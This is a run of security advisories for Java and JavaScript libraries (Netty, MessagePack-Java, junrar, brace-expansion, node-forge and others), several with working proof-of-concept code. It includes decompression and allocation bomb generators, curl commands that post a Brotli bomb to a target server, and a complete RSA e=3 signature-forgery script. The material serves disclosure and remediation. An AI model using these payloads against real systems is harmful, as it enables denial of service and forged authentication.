DnsDecoderLengthPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n"); Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class); decode.setAccessible(true); // Test 1: 100-byte label (RFC limit: 63) ByteBuf buf1 = Unpooled.buffer(256); buf1.writeByte(100); buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII)); buf1.writeByte(3); buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII)); buf1.writeByte(0); String r1 = (String) decode.invoke(null, buf1); buf1.release(); System.out.println("[TEST 1] 100-byte label: length=" + r1.length() + " VULNERABLE=" + (r1.length() > 64)); // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255) ByteBuf buf2 = Unpooled.buffer(512); for (int i = 0; i < 5; i++) { buf2.writeByte(60); buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60) .getBytes(StandardCharsets.US_ASCII)); } buf2.writeByte(0); String r2 = (String) decode.invoke(null, buf2); buf2.release(); System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() + " VULNERABLE=" + (r2.length() > 255)); } } ``` ### How to Compile and Run ```bash JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Encoder PoC javac -cp "$JARS" DnsEncoderNullBytePoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC # Decoder PoC javac -cp "$JARS" DnsDecoderLengthPoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) **Encoder PoC:** ``` === Netty DNS Encoder Validation Bypass PoC === [TEST 1] Null byte in domain name Input: "evil\0.example.com" Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00 Null byte in label data: true VULNERABLE: YES - Null byte accepted! [TEST 2] Label > 63 bytes in encoder Input: "aaaaaa..." (200-char label) Encoded bytes: 206 VULNERABLE: YES - Overlength label accepted in encoder! [TEST 3] Empty labels (consecutive dots) Input: "a..b.com" Encoded bytes: 01 61 00 Note: Empty label truncates the name (may lose data) ``` **Decoder PoC:** ``` === Netty DNS Decoder Length Bypass PoC === [TEST 1] Label > 63 bytes (RFC 1035 violation) Label length: 100 bytes (RFC limit: 63) Decoded name length: 105 VULNERABLE: YES - Label > 63 bytes accepted! [TEST 2] Domain > 255 bytes via multiple labels 5 labels x 60 bytes = 300+ bytes total RFC 1035 limit: 255 bytes Decoded name length: 305 VULNERABLE: YES - Domain > 255 bytes accepted! ``` ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Integrity** | HIGH — Null byte injection causes differential interpretation across DNS implementations | | **Availability** | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder | | **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet | | **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies | | **Label/Pointer Confusion** | Length bytes > 63 conflict with RFC 1035 compression pointer encoding | | **Silent Truncation** | Empty labels silently drop the remainder of the domain name | | **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries | ## 8. Remediation Recommendations ### Fix for Encoder (encodeDomainName) ```java static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } int totalLength = 0; final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { throw new IllegalArgumentException("DNS name contains empty label: " + name); } if (labelLen > 63) { throw new IllegalArgumentException( "DNS label length " + labelLen + " exceeds maximum of 63: " + name); } for (int i = 0; i < label.length(); i++) { if (label.charAt(i) == '\0') { throw new IllegalArgumentException( "DNS label contains null byte at index " + i); } } totalLength += 1 + labelLen; if (totalLength > 254) { throw new IllegalArgumentException( "DNS name exceeds maximum length of 255: " + name); } buf.writeByte(labelLen); ByteBufUtil.writeAscii(buf, label); } buf.writeByte(0); } ``` ### Fix for Decoder (decodeDomainName) ```java // Add after "} else if (len != 0) {": if (len > 63) { throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63"); } // Add after "name.append(...)": if (name.length() > 255) { throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255"); } ``` ## 9. Resources - [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4) - [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4) - [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html) - [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html) - [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)
### Summary Affected Components: ``` org.msgpack.core.MessageUnpacker.readPayload() org.msgpack.core.MessageUnpacker.unpackValue() org.msgpack.value.ExtensionValue.getData() ``` A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation. ### PoC ``` import msgpack import struct import os OUTPUT_DIR = "bombs" os.makedirs(OUTPUT_DIR, exist_ok=True) # EXT format: fixext / ext8 / ext16 / ext32 # ext32 allows attacker-controlled length (uint32) length = 1 step = 10_000_000 while True: try: # EXT32: 0xC9 | length (4 bytes) | type (1 byte) header = b'\xC9' + struct.pack(">I", length) + b'\x01' payload = b'A' # actual data tiny data = header + payload fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack" with open(fname, "wb") as f: f.write(data) print(f"[+] Generated EXT bomb with declared length={length}") length += step except Exception as e: print("[!] Stopped:", e) break ``` Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer ``` // Main.java import org.msgpack.core.MessagePack; import org.msgpack.core.MessageUnpacker; import org.msgpack.value.ExtensionValue; import java.nio.file.Files; import java.nio.file.Paths; public class Main { public static void main(String[] args) throws Exception { byte[] data = Files.readAllBytes( Paths.get("ext_length_470000001.msgpack") ); MessageUnpacker unpacker = MessagePack.newDefaultUnpacker(data); ExtensionValue ext = unpacker.unpackValue().asExtensionValue(); // Vulnerability trigger: byte[] payload = ext.getData(); System.out.println(payload.length); } } ``` Compile ``` javac -cp msgpack-core-0.9.8.jar Main.java ``` Run (with limited heap) ``` java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main ``` Observed Result: ``` Exception in thread "main" java.lang.OutOfMemoryError: Java heap space at org.msgpack.core.MessageUnpacker.readPayload(...) at org.msgpack.core.MessageUnpacker.unpackValue(...) ``` ``` var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack"); var d = u.openStream().readAllBytes(); var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d); up.unpackValue().asExtensionValue().getData(); ``` Run: ``` java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main ``` A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer. ## Resolution This issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11 ### Impact This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.
## Summary `HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections. ## Details `HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler. For gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`: ```java // HttpContentDecompressor.java:101 — maxAllocation IS enforced .handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation)) ``` `ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer's `maxCapacity` and throwing `DecompressionException` when the limit is reached: ```java // ZlibDecoder.java:68 — hard limit on buffer capacity return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation); // ZlibDecoder.java:80 — throws when exceeded throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity()); ``` For brotli, zstd, and snappy, the decoders are created without any size limit: ```java // HttpContentDecompressor.java:120 — maxAllocation IGNORED .handlers(new BrotliDecoder()) // HttpContentDecompressor.java:129 — maxAllocation IGNORED .handlers(new SnappyFrameDecoder()) // HttpContentDecompressor.java:138 — maxAllocation IGNORED .handlers(new ZstdDecoder()) ``` `BrotliDecoder` has no `maxAllocation` parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit. `ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded. The identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2. ## PoC 1. Configure a Netty HTTP server with decompression bomb protection: ```java pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max ``` 2. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed): ```python import brotli bomb = b'\x00' * (1024 * 1024 * 1024) # 1GB of zeros compressed = brotli.compress(bomb, quality=11) with open('bomb.br', 'wb') as f: f.write(compressed) # compressed size: ~1KB ``` 3. Send the bomb with gzip encoding (BLOCKED by maxAllocation): ```bash # This is caught — ZlibDecoder enforces the 1MB limit curl -X POST http://target:8080/api \ -H 'Content-Encoding: gzip' \ --data-binary @bomb.gz # Result: DecompressionException thrown at 1MB ``` 4. Send the same bomb with brotli encoding (BYPASSES maxAllocation): ```bash # This bypasses the limit — BrotliDecoder has no maxAllocation curl -X POST http://target:8080/api \ -H 'Content-Encoding: br' \ --data-binary @bomb.br # Result: Full 1GB decompressed into memory → OOM ``` 5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`. ## Impact - **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding. - **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered. - **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely. - **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2). ## Recommended Fix Pass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter: **HttpContentDecompressor.java** — pass maxAllocation to all decoders: ```java // Line 120: BrotliDecoder — add maxAllocation support .handlers(new BrotliDecoder(maxAllocation)) // Line 129: SnappyFrameDecoder — add maxAllocation support .handlers(new SnappyFrameDecoder(maxAllocation)) // Line 138: ZstdDecoder — forward the configured maxAllocation .handlers(new ZstdDecoder(maxAllocation)) ``` **DelegatingDecompressorFrameListener.java** — same fix at lines 188-210. **BrotliDecoder** — add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit. **SnappyFrameDecoder** — add `maxAllocation` parameter with equivalent enforcement. **ZstdDecoder** — ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
The NPM package `braces` fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In `lib/parse.js,` if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
### Summary Junrar's RAR virtual machine can be forced into a deterministic infinite loop while extracting a crafted RAR4 archive. The `RarVM.ExecuteCode` loop is intended to be bounded by `maxOpCount`, but jump instructions can bypass this limit when `setIP()` is called with a target instruction pointer greater than or equal to `codeSize`. An unauthenticated attacker who can provide a RAR archive to an application using `Junrar.extract()` can cause the extraction thread to spin forever, consuming CPU and blocking the process. The issue is a denial of service vulnerability, not remote code execution. ### Details The root cause is in `src/main/java/com/github/junrar/unpack/vm/RarVM.java`. `setIP()` returns early when the target IP is outside the prepared VM program: ```java private boolean setIP(int ip) { if ((ip) >= codeSize) { return (true); } if (--maxOpCount <= 0) { return (false); } IP = ip; return true; } ``` When `ip >= codeSize`, this branch: - does not update `IP`; - does not decrement `maxOpCount`; - returns `true`, so callers treat it as success. The `VM_JMP` handler and the other jump-like handlers discard the return value of `setIP()` and immediately `continue` the main VM loop: ```java case VM_JMP: setIP(getValue(false, mem, op1)); continue; ``` Because of the `continue`, execution also skips the loop-end accounting: ```java IP++; --maxOpCount; ``` As a result, a VM program containing a single `VM_JMP` instruction can freeze both `IP` and `maxOpCount`: 1. `IP` points to the `VM_JMP` instruction. 2. The jump target resolves to `codeSize` or larger. 3. `setIP()` returns before modifying `IP` or decrementing `maxOpCount`. 4. The caller ignores the return value and continues. 5. The same `VM_JMP` instruction is executed again forever. ### Impact This is a CPU denial of service vulnerability. Any application that uses junrar to extract untrusted RAR archives can have an extraction worker thread permanently blocked by a small crafted archive. In services that process uploads or attachments automatically, repeated submissions can exhaust worker capacity and degrade or stop archive-processing functionality. The RAR VM does not provide native code execution, reflection, or process execution primitives, and Java array bounds checks prevent escaping the VM memory array. The expected security impact is availability only.
An issue in the fetch() method in the BasicProfile class of org.ini4j before v0.5.4 allows attackers to cause a Denial of Service (DoS) via unspecified vectors.
### Summary `expand()` bounds the *number* of results it produces (the `max` option, `100_000` by default) but not their *length*. By chaining many brace groups, an attacker keeps the result count under `max` while making every result grow with the number of groups. Building `max` long results — plus the intermediate arrays combined at each brace group — exhausts memory and crashes the Node process with an **uncatchable** out-of-memory error. `try/catch` around `expand()` does not help: the fatal error terminates the process. A ~7.5 KB input (`'{a,b}'.repeat(1500)`) is enough to crash a default Node process. ### Details For `N` chained brace groups such as `'{a,b}'.repeat(N)`: - the result count is `2^N`, immediately capped at `max` (`100_000`), so the `max` protection appears to hold, but - each result is `N` characters long, so the total output size is `max × N` characters, which grows without bound in `N`. `expand_` combines each brace set with the fully-expanded tail: ```js const post = m.post.length ? expand_(m.post, max, false) : [''] ... for (let j = 0; j < N.length; j++) { for (let k = 0; k < post.length && expansions.length < max; k++) { const expansion = pre + N[j] + post[k] // grows one group longer per level ... expansions.push(expansion) } } ``` The loop guard `expansions.length < max` limits how many strings are built, but nothing limits how long they get. Each recursion level materializes another array of up to `max` strings, one character longer than the level below, and — because V8 represents `pre + N[j] + post[k]` as a cons-string (rope) that references `post[k]` — those intermediate strings stay reachable through the whole chain. Memory therefore scales with `max × N`. Measured on `5.0.7` (`'{a,b}'.repeat(N)`, default `max`): | groups (N) | input bytes | result count | peak RSS | |---|---|---|---| | 20 | 100 | 100,000 | ~80 MB | | 50 | 250 | 100,000 | ~214 MB | | 100 | 500 | 100,000 | ~409 MB | | 300 | 1,500 | 100,000 | ~1,148 MB | | 1500 | 7,500 | — | **OOM crash** | ### Proof of concept ```js const { expand } = require('brace-expansion') // ~7.5 KB input — crashes the process with a fatal, uncatchable OOM: // FATAL ERROR: ... JavaScript heap out of memory try { expand('{a,b}'.repeat(1500)) } catch (e) { // never reached — the process is already dead } ``` ### Impact Any application that passes attacker-influenced strings to `brace-expansion.expand()` — directly, or transitively via `minimatch` / `glob` brace patterns — can be crashed by a small request. Because the failure is a fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught and it takes down the whole worker/process, denying service. ### Remediation Upgrade to a patched release. The fix bounds the total number of characters a single `expand()` call may accumulate (`EXPANSION_MAX_LENGTH`, default `4_000_000`, configurable via a new `maxLength` option), applied inside the output-building loops so intermediate arrays are bounded too. Once the limit is reached, output is truncated — consistent with how `max` already truncates — instead of growing without bound. The limit sits well above any realistic expansion (100,000 results hitting `max` measure ~1M characters), so legitimate input is unaffected. After the fix, `'{a,b}'.repeat(1500)` returns a bounded, truncated result in ~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB heap. The fix bounds memory but the algorithm still rebuilds intermediate arrays at each level (roughly `O(N × maxLength)` work on this input class). A streaming rewrite that produces output in `O(total output size)` can be a non-urgent follow-up. If immediate upgrade isn't possible, avoid passing untrusted input to `expand()` / glob brace patterns, or pass a small explicit `max` **and** `maxLength`.
### Summary Lz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation. ### Details io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after `readableBytes >= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses. ### PoC The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB ```java @Test void test() throws Exception { EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { AtomicReference<Throwable> serverError = new AtomicReference<>(); CountDownLatch latch = new CountDownLatch(1); ServerBootstrap server = new ServerBootstrap() .group(workerGroup) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline() .addLast(new Lz4FrameDecoder()) .addLast(new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { if (cause instanceof DecoderException) { serverError.set(cause.getCause()); } else { serverError.set(cause); } latch.countDown(); } }); } }); ChannelFuture serverChannel = server.bind(0).sync(); Bootstrap client = new Bootstrap() .group(workerGroup) .channel(NioSocketChannel.class) .handler(new ChannelInboundHandlerAdapter() { @Override public void channelActive(ChannelHandlerContext ctx) { ByteBuf buf = ctx.alloc().buffer(22, 22); buf.writeLong(MAGIC_NUMBER); buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F); buf.writeIntLE(1); buf.writeIntLE(1 << 25); buf.writeIntLE(0); buf.writeByte(0); ctx.writeAndFlush(buf); ctx.fireChannelActive(); } }); ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync(); assertTrue(latch.await(10, TimeUnit.SECONDS)); assertInstanceOf(IndexOutOfBoundsException.class, serverError.get()); clientChannel.channel().close(); serverChannel.channel().close(); } finally { workerGroup.shutdownGracefully(); } } ``` ### Impact Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
### Summary Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline. ### PoC [poc.zip](https://github.com/user-attachments/files/28445780/poc.zip) run with: ```bash bash ./poc/run.sh ``` expected output: ```text NETTY_SPDY_ZLIB_DECODED_AFTER_LIMIT_TRIGGERED compressed_bytes=12253 declared_name_length=12582912 max_header_size=16 truncated=true invalid=false ``` The fingerprint means the compressed input was fully consumed while the raw header parser ended with `truncated=true` and `invalid=false` after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name. ### Impact A remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length >= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches END_HEADER_BLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.
## Summary RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. ## Impacted Deployments **Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5` **Affected versions:** tested on v1.3.3 (latest release) and recent prior versions. **Configuration assumptions:** - Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5). - `_parseAllDigestBytes: true` (default setting). ## Root Cause In `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest. Two issues are present with this logic: 1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. 2. `_decodePkcs1_v1_5` comments mention that PS < 8 bytes should be rejected, but does not implement this logic. ## Reproduction Steps 1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`. 4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder. 5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction. 6. The script verifies both signatures with: - forge verify (`_parseAllDigestBytes: true`), and - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`). 7. Confirm output includes: - `control-forge-strict: true` - `control-node: true` - `forgery (forge library, strict): true` - `forgery (node/OpenSSL): false` ## Proof of Concept **Overview:** - Demonstrates a valid control signature and a forged signature in one run. - Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default). - Uses Node/OpenSSL as an differential verification baseline. - Observed output on tested commit: ```text control-forge-strict: true control-node: true forgery (forge library, strict): true forgery (node/OpenSSL): false ``` <details><summary>repro_min.js</summary> ```javascript #!/usr/bin/env node 'use strict'; const crypto = require('crypto'); const forge = require('./forge/lib/index'); // DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes: // SEQUENCE { // SEQUENCE { OID sha256, NULL }, // OCTET STRING <32-byte digest> // } // Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 const DIGESTINFO_SHA256_PREFIX = Buffer.from( '300d060960864801650304020105000420', 'hex' ); const toBig = b => BigInt('0x' + (b.toString('hex') || '0')); function toBuf(n, len) { let h = n.toString(16); if (h.length % 2) h = '0' + h; const b = Buffer.from(h, 'hex'); return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b; } function cbrtFloor(n) { let lo = 0n; let hi = 1n; while (hi * hi * hi <= n) hi <<= 1n; while (lo + 1n < hi) { const mid = (lo + hi) >> 1n; if (mid * mid * mid <= n) lo = mid; else hi = mid; } return lo; } const cbrtCeil = n => { const f = cbrtFloor(n); return f * f * f === n ? f : f + 1n; }; function derLen(len) { if (len < 0x80) return Buffer.from([len]); if (len <= 0xff) return Buffer.from([0x81, len]); return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]); } function forgeStrictVerify(publicPem, msg, sig) { const key = forge.pki.publicKeyFromPem(publicPem); const md = forge.md.sha256.create(); md.update(msg.toString('utf8'), 'utf8'); try { // verify(digestBytes, signatureBytes, scheme, options): // - digestBytes: raw SHA-256 digest bytes for `msg` // - signatureBytes: binary-string representation of the candidate signature // - scheme: undefined => default RSASSA-PKCS1-v1_5 // - options._parseAllDigestBytes: require DER parser to consume all bytes // (this is forge's default for verify; set explicitly here for clarity) return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) }; } catch (err) { return { ok: false, err: err.message }; } } function main() { const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096, publicExponent: 3, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, publicKeyEncoding: { type: 'pkcs1', format: 'pem' } }); const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' }); const nBytes = Buffer.from(jwk.n, 'base64url'); const n = toBig(nBytes); const e = toBig(Buffer.from(jwk.e, 'base64url')); if (e !== 3n) throw new Error('expected e=3'); const msg = Buffer.from('forged-message-0', 'utf8'); const digest = crypto.createHash('sha256').update(msg).digest(); const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]); // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING. const k = nBytes.length; // ffCount can be set to any value at or below 111 and produce a valid signature. // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package. // However, current versions of node forge do not check for this. // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself. const ffCount = 0; // `garbageLen` affects DER length field sizes, which in turn affect how // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`. // A small cap (8) is enough here: DER length-size transitions are discrete // and few (<128, <=255, <=65535, ...), so this stabilizes quickly. let garbageLen = 0; for (let i = 0; i < 8; i += 1) { const gLenEnc = derLen(garbageLen).length; const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen; const seqLenEnc = derLen(seqLen).length; const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc; const next = k - fixed; if (next === garbageLen) break; garbageLen = next; } const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen; const prefix = Buffer.concat([ Buffer.from([0x00, 0x01]), Buffer.alloc(ffCount, 0xff), Buffer.from([0x00]), Buffer.from([0x30]), derLen(seqLen), algAndDigest, Buffer.from([0x04]), derLen(garbageLen) ]); // Build the numeric interval of all EM values that start with `prefix`: // - `low` = prefix || 00..00 // - `high` = one past (prefix || ff..ff) // Then find `s` such that s^3 is inside [low, high), so EM has our prefix. const suffixLen = k - prefix.length; const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)])); const high = low + (1n << BigInt(8 * suffixLen)); const s = cbrtCeil(low); if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval'); const sig = toBuf(s, k); const controlMsg = Buffer.from('control-message', 'utf8'); const controlSig = crypto.sign('sha256', controlMsg, { key: privateKey, padding: crypto.constants.RSA_PKCS1_PADDING }); // forge verification calls (library under test) const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig); const forgedForge = forgeStrictVerify(publicKey, msg, sig); // Node.js verification calls (OpenSSL-backed reference behavior) const controlNode = crypto.verify('sha256', controlMsg, { key: publicKey, padding: crypto.constants.RSA_PKCS1_PADDING }, controlSig); const forgedNode = crypto.verify('sha256', msg, { key: publicKey, padding: crypto.constants.RSA_PKCS1_PADDING }, sig); console.log('control-forge-strict:', controlForge.ok, controlForge.err || ''); console.log('control-node:', controlNode); console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || ''); console.log('forgery (node/OpenSSL):', forgedNode); } main(); ``` </details> ## Suggested Patch - Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS >= 8`) in `_decodePkcs1_v1_5` before accepting the block. - Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields). Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects: ```diff index b207a63..ec8a9c1 100644 --- a/lib/rsa.js +++ b/lib/rsa.js @@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) { error.errors = errors; throw error; } + + 